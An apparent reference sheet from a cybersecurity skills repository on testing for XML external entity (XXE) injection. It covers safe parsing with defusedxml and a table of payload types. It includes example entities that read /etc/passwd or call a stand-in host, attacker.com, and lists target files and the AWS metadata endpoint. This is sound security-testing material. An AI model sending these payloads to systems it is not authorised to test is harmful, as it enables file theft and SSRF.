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Anthropic-Cybersecurity-Skills/skills/testing-for-xxe-injection-vulnerabilities/references/api-reference.md
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mukul975 27c6414ca5 Add folder anatomy (scripts/agent.py + references/api-reference.md) for 648 cybersecurity skills
Complete skill folder anatomy across all cybersecurity skills:
- scripts/agent.py: 80-150 line Python agents using real libraries (impacket,
  boto3, azure-mgmt-*, kubernetes, pefile, yara, scapy, shodan, stix2, etc.)
- references/api-reference.md: real API documentation with method signatures
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2026-03-10 21:02:12 +01:00

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API Reference: Testing for XXE Injection Vulnerabilities

defusedxml Library (Safe Parsing)

Installation

pip install defusedxml

Safe Parsing

import defusedxml.ElementTree as ET
# Blocks external entities, DTD processing, entity expansion
tree = ET.fromstring(xml_string)

Protections enabled by default:

  • forbid_dtd: Blocks DOCTYPE declarations
  • forbid_entities: Blocks entity definitions
  • forbid_external: Blocks SYSTEM/PUBLIC entities

requests Library (XXE Testing)

Sending XML Payloads

headers = {"Content-Type": "application/xml"}
resp = requests.post(url, headers=headers, data=xxe_payload)

XXE Payload Types

Type Description Detection
Classic (in-band) Entity value in response Check for file contents
Blind (OOB HTTP) Entity triggers HTTP callback Monitor callback server
Blind (OOB DNS) Entity triggers DNS lookup Monitor DNS server
Parameter entity Uses %entity; in DTD Check callback server
PHP filter Base64 encodes file content Decode base64 in response
SSRF via XXE Access internal URLs Check for metadata/internal data

XXE Entity Syntax

<!-- Internal entity -->
<!ENTITY name "value">

<!-- External entity (file read) -->
<!ENTITY xxe SYSTEM "file:///etc/passwd">

<!-- External entity (HTTP) -->
<!ENTITY xxe SYSTEM "http://attacker.com/callback">

<!-- Parameter entity (used in DTD) -->
<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
%xxe;

File Paths for Testing

OS File Content Indicator
Linux /etc/passwd root:x:0:0
Linux /etc/hostname hostname string
Windows c:/windows/win.ini [fonts]
AWS http://169.254.169.254/latest/meta-data/ ami-id

References